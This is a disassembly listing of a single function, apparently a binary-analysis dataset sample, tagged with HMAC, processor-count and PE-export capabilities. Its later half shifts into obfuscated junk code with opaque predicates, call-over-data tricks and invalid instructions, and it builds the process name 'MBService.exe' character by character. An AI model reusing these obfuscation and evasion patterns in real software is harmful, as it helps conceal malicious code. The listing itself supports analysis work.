Function at 0x50cdf0
Capabilities:
Authenticate hmac
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbb4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x44c], ebx
mov dword [ebp - 0x358], ebx
mov dword [ebp - 0x348], ecx
mov dword [ebp - 0x344], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x50de34
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp + 0xc], 0
je 0x50ce3a
mov edx, 0x1c
mov eax, dword [ebp + 0xc]
call fcn.0065c4dc
mov edx, dword [ebp + 0x1c]
mov edx, dword [edx + 0xc]
mov eax, dword [ebp + 0x1c]
sub edx, dword [eax + 4]
mov eax, dword [ebp + 0x1c]
mov eax, dword [eax + 8]
mov ecx, dword [ebp + 0x1c]
sub eax, dword [ecx]
call fcn.0064ac50
mov dword [ebp - 0x34c], eax
mov eax, dword [ebp - 0x34c]
call fcn.0064e3d0
mov ebx, eax
lea edx, [ebp - 0x440]
mov eax, ebx
call fcn.0064bccc
lea ecx, [ebp - 0x440]
mov edx, dword [ebp + 8]
mov eax, ebx
call fcn.0064b804
cmp dword [ebp - 4], 0
je 0x50ce99
cmp dword [ebp - 4], 0x80000000
jne 0x50cf34
mov eax, dword [0x671918]
mov eax, dword [eax]
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 4], 0
jne 0x50ceb9
mov eax, dword [0x671c34]
mov eax, dword [eax]
mov dword [ebp - 0x35c], eax
lea edx, [ebp - 0x358]
mov eax, dword [ebp - 0x35c]
call fcn.00658380
mov eax, dword [0x671bac]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 4]
mov edx, dword [eax + 8]
mov eax, dword [ebx + 0xc]
call fcn.0064ae04
mov eax, dword [ebp - 0x358]
push eax
mov eax, ebx
call fcn.0064bb84
mov edx, dword [ebp + 0x1c]
mov edx, dword [edx + 0xc]
mov ecx, dword [ebp + 0x1c]
sub edx, dword [ecx + 4]
sub edx, eax
sar edx, 1
jns 0x50cf05
adc edx, 0
push edx
mov edx, dword [ebp - 0x358]
mov eax, ebx
call fcn.0064bb5c
mov edx, dword [ebp + 0x1c]
mov edx, dword [edx + 8]
mov ecx, dword [ebp + 0x1c]
sub edx, dword [ecx]
sub edx, eax
sar edx, 1
jns 0x50cf27
adc edx, 0
mov eax, ebx
pop ecx
call fcn.0064ba40
jmp 0x50ddd0
mov eax, dword [ebp - 4]
mov al, byte [eax + 0xb]
xor al, 1
and eax, 0x7f
shl eax, 3
test eax, eax
jl 0x50cf6c
inc eax
mov dword [ebp - 0x3ac], eax
xor esi, esi
lea edi, [ebp - 0x340]
push ebp
mov edx, edi
mov eax, esi
call fcn.0050c9bc
pop ecx
inc esi
add edi, 0x5c
dec dword [ebp - 0x3ac]
jne 0x50cf55
mov eax, dword [ebp - 4]
cmp byte [eax + 0xb], 0
jne 0x50cfca
mov esi, 9
lea edi, [ebp - 0x340]
mov eax, edi
call fcn.005471e0
test al, al
jne 0x50cfc4
mov dword [ebp - 0x374], 9
lea esi, [ebp - 0x340]
mov eax, esi
call fcn.005471e0
test al, al
je 0x50cfb7
push esi
push edi
mov eax, edi
mov edi, esi
mov esi, eax
mov ecx, 0x17
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
add esi, 0x5c
dec dword [ebp - 0x374]
jne 0x50cf9b
jmp 0x50cfca
add edi, 0x5c
dec esi
jne 0x50cf80
mov edx, dword [0x6731b8]
mov edx, dword [edx]
mov eax, dword [ebx + 0xc]
call fcn.0064b018
mov edx, 0xa
mov eax, dword [ebx + 0xc]
call fcn.0064b07c
mov eax, ebx
call fcn.0064bb84
mov dword [ebp - 0x378], eax
mov eax, dword [ebp - 4]
mov al, byte [eax + 0xb]
xor al, 1
and eax, 0x7f
shl eax, 3
test eax, eax
jl 0x50d0ec
inc eax
mov dword [ebp - 0x3ac], eax
xor esi, esi
imul eax, esi, 0x2b
mov edx, dword [ebp - 4]
lea edi, [edx + eax*4 + 0x14]
push ebp
lea edx, [ebp - 0x410]
mov eax, esi
call fcn.0050cd34
pop ecx
mov eax, dword [ebp - 0x410]
mov edx, dword [eax + 4]
mov eax, dword [ebx + 0xc]
call fcn.0064b018
mov edx, dword [ebp - 0x40c]
mov eax, 0x24
call fcn.00656b70
mov edx, eax
shr edx, 1
mov eax, dword [ebx + 0xc]
call fcn.0064b07c
mov al, byte [0x50de44]
mov byte [ebp - 0x36d], al
cmp dword [ebp - 0x408], 1
jne 0x50d074
or byte [ebp - 0x36d], 1
cmp dword [ebp - 0x404], 1
jne 0x50d084
or byte [ebp - 0x36d], 2
mov dl, byte [ebp - 0x36d]
mov eax, dword [ebx + 0xc]
call fcn.0064b0ac
mov eax, ebx
call fcn.0064bb84
mov edx, eax
mov eax, dword [ebp - 0x378]
call fcn.00656b78
mov dword [ebp - 0x378], eax
cmp dword [edi + 8], 0
je 0x50d0df
push ebp
lea ecx, [ebp - 0x448]
mov eax, dword [edi + 8]
mov edx, dword [ebp - 0x40c]
call fcn.0050cc00
pop ecx
mov edx, dword [ebp - 0x444]
mov eax, dword [ebp - 0x378]
call fcn.00656b78
mov dword [ebp - 0x378], eax
inc esi
dec dword [ebp - 0x3ac]
jne 0x50d013
mov byte [ebp - 0x3a5], 0
cmp dword [ebp + 0x18], 0x80000000
jne 0x50d152
mov eax, dword [ebp + 0x1c]
mov eax, dword [eax + 0xc]
mov edx, dword [ebp + 0x1c]
sub eax, dword [edx + 4]
sub eax, 0xe
mov edx, dword [ebp - 0x378]
add edx, edx
mov ecx, edx
cdq
idiv ecx
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 1
jg 0x50d12e
mov byte [ebp - 0x3a5], 1
mov edx, dword [ebp - 0x37c]
mov eax, 2
call fcn.00656b78
mov edx, eax
mov eax, 9
call fcn.00656b70
mov dword [ebp - 0x37c], eax
jmp 0x50d15b
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x37c], eax
mov eax, dword [ebp + 0x1c]
mov eax, dword [eax + 0xc]
mov edx, dword [ebp + 0x1c]
sub eax, dword [edx + 4]
sub eax, 0xe
mov edx, dword [ebp - 0x378]
add edx, edx
imul edx, dword [ebp - 0x37c]
sub eax, edx
mov edx, dword [ebp - 0x37c]
add edx, edx
mov ecx, edx
cdq
idiv ecx
call fcn.00656b80
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 1
jle 0x50d1b8
mov eax, dword [ebp - 0x380]
shr eax, 1
mov dword [ebp - 0x384], eax
mov eax, dword [ebp - 0x384]
sub dword [ebp - 0x380], eax
jmp 0x50d1c0
xor eax, eax
mov dword [ebp - 0x384], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 0xb], 0
jne 0x50d1d2
cmp dword [ebp - 0x344], 0
jg 0x50d1dc
xor eax, eax
mov dword [ebp - 0x388], eax
jmp 0x50d222
cmp byte [ebp - 0x3a5], 0
je 0x50d1f3
mov eax, dword [ebp - 0x344]
mov dword [ebp - 0x388], eax
jmp 0x50d222
mov eax, dword [ebp - 0x37c]
shr eax, 1
push eax
mov eax, dword [ebp - 0x344]
pop edx
sub eax, edx
call fcn.00656b80
mov edx, eax
mov eax, 9
sub eax, dword [ebp - 0x37c]
call fcn.00656b70
mov dword [ebp - 0x388], eax
cmp dword [ebp + 0xc], 0
je 0x50d5c9
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x3b0], eax
mov eax, dword [ebp + 0x1c]
mov eax, dword [eax + 8]
mov edx, dword [ebp + 0x1c]
sub eax, dword [edx]
mov edx, dword [ebp - 0x3b0]
mov dword [edx + 0xc], eax
mov eax, dword [ebp - 4]
mov al, byte [eax + 0xb]
xor al, 1
and eax, 0x7f
shl eax, 3
test eax, eax
jl 0x50d500
inc eax
mov dword [ebp - 0x3ac], eax
xor esi, esi
imul eax, esi, 0x2b
mov edx, dword [ebp - 4]
lea edi, [edx + eax*4 + 0x14]
mov ax, word [edi + 0x6a]
mov edx, dword [0x67304c]
cmp ax, word [edx]
jne 0x50d28b
xor eax, eax
mov dword [ebp - 0x390], eax
jmp 0x50d2a2
movsx eax, word [edi + 0x6a]
call fcn.006260e8
mov ecx, 5
cdq
idiv ecx
mov dword [ebp - 0x390], eax
mov ax, word [edi + 0x68]
mov edx, dword [0x67304c]
cmp ax, word [edx]
je 0x50d2c8
movsx eax, word [edi + 0x68]
call fcn.006260e8
mov ecx, 5
cdq
idiv ecx
add dword [ebp - 0x390], eax
mov eax, dword [ebp - 0x390]
add eax, 0xe
mov dword [ebp - 0x3a0], eax
cmp dword [edi + 8], 0
je 0x50d32c
mov eax, dword [edi + 8]
mov eax, dword [eax + 0x24]
mov eax, dword [eax + 0x2c]
call fcn.006260e8
mov dword [ebp - 0x364], eax
mov eax, dword [edi + 8]
mov eax, dword [eax + 0x24]
mov eax, dword [eax + 0x30]
call fcn.006260e8
mov dword [ebp - 0x360], eax
push ebp
lea ecx, [ebp - 0x448]
mov eax, dword [edi + 8]
mov edx, dword [ebp - 0x40c]
call fcn.0050cc00
pop ecx
mov eax, dword [ebp - 0x448]
add dword [ebp - 0x3a0], eax
jmp 0x50d401
push ebp
lea edx, [ebp - 0x410]
mov eax, esi
call fcn.0050cd34
pop ecx
mov eax, dword [ebp - 0x410]
mov edx, dword [eax + 4]
mov eax, dword [ebx + 0xc]
call fcn.0064b018
mov edx, dword [ebp - 0x40c]
mov eax, 0x24
call fcn.00656b70
mov edx, eax
shr edx, 1
mov eax, dword [ebx + 0xc]
call 0xecdc287c
push ebp
mov ebp, esp
sub esp, 0x1fbc
push ebx
push esi
push edi
push eax
and eax, 0x57b6
xor eax, 0x97a1
pop eax
push ecx
sub ecx, 0x4038
jmp 0x50d38b
or ecx, 0x91e
pop ecx
push ebx
call 0x50d39f
add byte [edx + 0x3e], al
inc eax
cmp dword [ecx + 0x32], ecx
add esp, 4
pop ebx
mov eax, 0x4d
mov word [ebp - 0x1ef4], ax
mov ecx, 0x42
mov word [ebp - 0x1ef2], cx
mov edx, 0x53
mov word [ebp - 0x1ef0], dx
mov eax, 0x65
mov word [ebp - 0x1eee], ax
mov ecx, 0x72
mov word [ebp - 0x1eec], cx
mov edx, 0x76
mov word [ebp - 0x1eea], dx
mov eax, 0x69
mov word [ebp - 0x1ee8], ax
mov ecx, 0x63
mov word [ebp - 0x1ee6], cx
mov edx, 0x65
mov word [ebp - 0x1ee4], dx
mov eax, 0x2e
mov word [ebp - 0x1ee2], ax
mov ecx, 0x65
mov word [ebp - 0x1ee0], cx
mov edx, 0x78
mov word [ebp - 0x1ede], dx
mov eax, 0x65
mov word [ebp - 0x1edc], ax
xor ecx, ecx
mov word [ebp - 0x1eda], cx
mov dword [ebp - 0xfac], 1
push eax
push edx
add esp, 4
jmp 0x50d460
invalid
add eax, 0x168e2
xor eax, 0x1490c
pop eax
push esi
push edx
add esp, 4
jmp 0x50d477
sub esi, 0x127fa
add esi, 0x32f8
pop esi
imul edx, dword [ebp - 0xfac], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0xfac], 0x138
sub edx, eax
xor edx, 0xabe912
imul edx, dword [ebp - 0xfac]
imul ecx, dword [ebp - 0xfac], 0x138
sub edx, ecx
mov dword [ebp - 0xfb0], edx
push edi
push ebx
add esp, 4
sub edi, 0x15594
add edi, 0x15b
xor edi, 0x13ca5
pop edi
push edi
call 0x50d4e7
add byte [ebx], bh
inc eax
xor esi, dword [edx]
cmp eax, dword [ebp + 0x45]
xor ecx, dword [ebx + eax*4 - 0x3c]
add al, 0x81
out 0x3c, eax
je 0x50d4ef
add byte [edi - 0x39], bl
inc ebp
lock add dword [eax], eax
add byte [eax], al
push ecx
call 0x50d505
add byte [edx + 0x43], cl
inc ebx
cmp edi, dword [edx]
xor eax, dword [edx - 0x7d]
les eax, [ebx + ebp*8]
add eax, 0x44493942
cmp byte [ecx + 0x107bc9], al
add byte [ecx + 0x114b6c1], al
add byte [ecx + 0x57], bl
add edi, 0x15e1
xor edi, 0x12bf1
pop edi
imul edx, dword [ebp - 0x10], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x10], 0x138
sub edx, eax
xor edx, 0x153c
imul edx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0x10], 0x138
sub edx, ecx
mov dword [ebp - 0x14], edx
push esi
call 0x50d564
add byte [esi], bh
cmp eax, 0x48403846
add esp, 4
xor esi, 0x1e2e
sub esi, 0x1114f
pop esi
push eax
xor eax, 0x10810
sub eax, 0x17ba9
or eax, 0x15179
pop eax
push edx
push ecx
add esp, 4
sub edx, 0xb99d
sub edx, 0xccf2
sub edx, 0x75d1
call 0x50d5ae
add byte [edx + edi + 0x46], cl
push eax
inc edx
cmp bh, byte [esp + edi]
add esp, 4
pop edx
push edx
sub edx, 0xb81a
pop edx
mov dword [ebp - 0x2c], 1
push eax
push esi
add esp, 4
jmp 0x50d5cf
dec esi
dec esp
inc edi
push eax
xor ebp, eax
or dword [eax], eax
add byte [eax], al
call 0x50d5dd
add byte [edi + 0x33], al
dec edi
cmp eax, 0x4b3c373a
add esp, 4
pop eax
push ecx
push esi
add esp, 4
or ecx, 0xdfe5
add ecx, 0x871
pop ecx
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor edx, 0
imul edx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x2c], 0x138
sub edx, ecx
mov dword [ebp - 0x30], edx
jmp 0x50d7d4
mov ecx, dword [ebp - 0xfb0]
mov edx, dword [ebp - 0xfac]
mov dword [ebp - 0x152c], ecx
mov dword [ebp - 0x1528], edx
push ebx
push ecx
add esp, 4
call 0x50d7ff
add byte [edx], bh
dec esi
dec esi
cmp esi, dword [edx]
dec esi
inc ebx
dec ebx
add esp, 4
pop ebx
push eax
sub eax, 0xdfce
jmp 0x50d80f
sub eax, 0xfbfd
pop eax
push ebx
and ebx, 0xa91b
pop ebx
push ebx
jmp 0x50d825
sub ebx, 0x8d46
pop ebx
push edi
push esi
add esp, 4
add edi, 0x383d
pop edi
push ebx
push eax
add esp, 4
sub ebx, 0x12c55
xor ebx, 0x17dff
add ebx, 0x11ef0
pop ebx
mov eax, dword [ebp - 0x30]
add eax, 0x138
imul ecx, dword [ebp - 0x2c], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x2c], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1d2c], eax
push ebx
push eax
add esp, 4
or ebx, 0x56f7
pop ebx
push esi
xor esi, 0x734c
add esi, 0x9056
pop esi
push edi
push esi
add esp, 4
sub edi, 0xa8fe
or edi, 0x14ce3
and edi, 0x1264a
pop edi
mov eax, dword [ebp - 0x152c]
add eax, 0x138
imul ecx, dword [ebp - 0x1528], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x1528], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x1528]
mov dword [ebp - 0x1d28], eax
mov eax, dword [ebp - 0x1d28]
mov dword [ebp - 0x1d30], eax
mov ecx, dword [ebp - 0x1d2c]
cmp ecx, dword [ebp - 0x1d30]
jae 0x50d908
mov dword [ebp - 0x149c], 1
jmp 0x50d912
mov dword [ebp - 0x149c], 0
mov dl, byte [ebp - 0x149c]
mov byte [ebp - 0x382], dl
movzx eax, byte [ebp - 0x382]
test eax, eax
je 0x510985
push ebx
jmp 0x50d937
call 0x50d946
add byte [ecx], bh
cmp dword [eax + ecx*2 + 0x38], ecx
inc ebp
inc ecx
push eax
dec edi
add esp, 4
add ebx, 0x8da7
jmp 0x50d956
pop ebx
push eax
or eax, 0xb8b1
pop eax
push ebx
jmp 0x50d969
pop ebx
push ecx
push edi
add esp, 4
call 0x50d97b
add byte [esi + 0x49], cl
inc edx
cmp eax, 0xc4833340
add al, 0x81
jmp 0x51a7ce
mov al, 0xe2
invalid
mov dword [ebp - 0x3c0], 0
call 0x510994
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x3c0], eax
push eax
or eax, 0xb10
pop eax
push esi
push ecx
add esp, 4
xor esi, 0x119f3
xor esi, 0x6d16
add esi, 0x84c
or esi, 0x12e4f
pop esi
push ebx
push edi
add esp, 4
or ebx, 0xd174
pop ebx
mov ecx, dword [ebp - 0x1fa0]
mov dword [ebp - 0x14b8], ecx
push eax
push ecx
add esp, 4
or eax, 0x154c4
pop eax
push ebx
add ebx, 0x17aa1
xor ebx, 0xce22
pop ebx
push ecx
push ecx
add esp, 4
add ecx, 0xa01e
xor ecx, 0x2ebc
and ecx, 0x136a8
pop ecx
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x14b8], edx
mov edx, dword [ebp - 0x3c0]
mov dword [ebp - 0x1ef8], edx
mov eax, dword [ebp - 0x1ef8]
add eax, dword [ebp - 0x14b8]
mov dword [ebp - 0x3c0], eax
push ebx
push ecx
add esp, 4
or ebx, 0x6598
call 0x510a73
add byte [edx + 0x4e], cl
inc edi
dec eax
inc ebx
aas
inc edx
aas
add esp, 4
call 0x510a86
add byte [eax], bh
inc eax
inc esp
inc ebp
cmp edi, dword ss:[esi]
inc edi
add esp, 4
pop ebx
mov byte [ebp - 0xb78], 0x52
mov byte [ebp - 0xb77], 0xb9
mov byte [ebp - 0xb76], 0x10
mov byte [ebp - 0xb75], 0x10
mov byte [ebp - 0xb74], 0x10
mov byte [ebp - 0xb73], 0x10
mov byte [ebp - 0xb72], 0x5a
push ebx
push edi
add esp, 4
xor ebx, 0x12694
or ebx, 0x6146
and ebx, 0x8ddd
pop ebx
push edi
push esi
add esp, 4
or edi, 0x81ad
pop edi
push esi
xor esi, 0x121f7
or esi, 0x120bc
pop esi
mov byte [ebp - 0xb80], 0x52
mov byte [ebp - 0xb7f], 0xb9
mov byte [ebp - 0xb7e], 0x20
mov byte [ebp - 0xb7d], 0x20
mov byte [ebp - 0xb7c], 0x20
mov byte [ebp - 0xb7b], 0x20
mov byte [ebp - 0xb7a], 0x5a
push edi
invalid